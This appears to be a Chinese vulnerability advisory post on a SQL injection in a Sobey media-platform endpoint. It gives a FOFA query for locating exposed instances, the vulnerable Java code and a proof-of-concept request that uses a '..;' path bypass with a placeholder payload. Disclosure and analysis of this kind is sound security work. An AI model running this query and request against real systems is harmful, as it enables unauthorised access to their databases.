索贝融媒体 /sobey-mchEditor/mch/TestInt/reUploadBase64 SQL注入漏洞


漏洞简介

索贝产品中的 /sobey-mchEditor/mch/TestInt/reUploadBase64 接口存在SQL注入漏洞,攻击者可以通过构造恶意的SQL语句,获取数据库中的敏感信息,甚至可能导致数据库被完全控制。

影响版本

fofa语法

icon_hash="689611853"||app="SOBEY-融媒体" || body="You need to enable JavaScript to run this app" && header="Sobey"

漏洞分析

根据漏洞信息看下mch/TestInt/reUploadBase64的实现逻辑

@RequestMapping(
    value = {"/reUploadBase64"},
    method = {RequestMethod.GET}
)
public Response reUploadBase64(@RequestParam(value = "ids",required = false) String ids, String token) {
    QueryBuilder qb = new QueryBuilder("select id from zcnarticle where 1=1 ");
    if (!StringUtils.isEmpty(ids)) {
        SchemaSQLUtil.appendInCondition(qb, "id", Arrays.asList(ids.split(",")));
    } else {
        qb.append("  and content like '%base64,%' union  select id from zcnarticle where 1=1 and logo like '%base64,%' ");
    }

    List<Map<String, Object>> rows = qb.executeAliasListMap();

参数ids无任何过滤或校验处理,被直接拼接到qb这个sql语句中执行,从而造成了SQL注入漏洞;但是ids会被逗号分割,因此利用有限。

漏洞复现

GET /sobey-mchEditor/js/..;/mch/TestInt/reUploadBase64?ids=SQLI_POC&siteCode=1&token=1 HTTP/1.1
Host: sobey.mrxn.net

报错回显获取到当前表名前缀 articl_c7ee17


手机扫码阅读

索贝融媒体 /mch/thirdPlatToto/getUserBindUrl 信息泄露

孚盟云CRM AjaxSendDingdingMessage.ashx SQL注入漏洞

评 论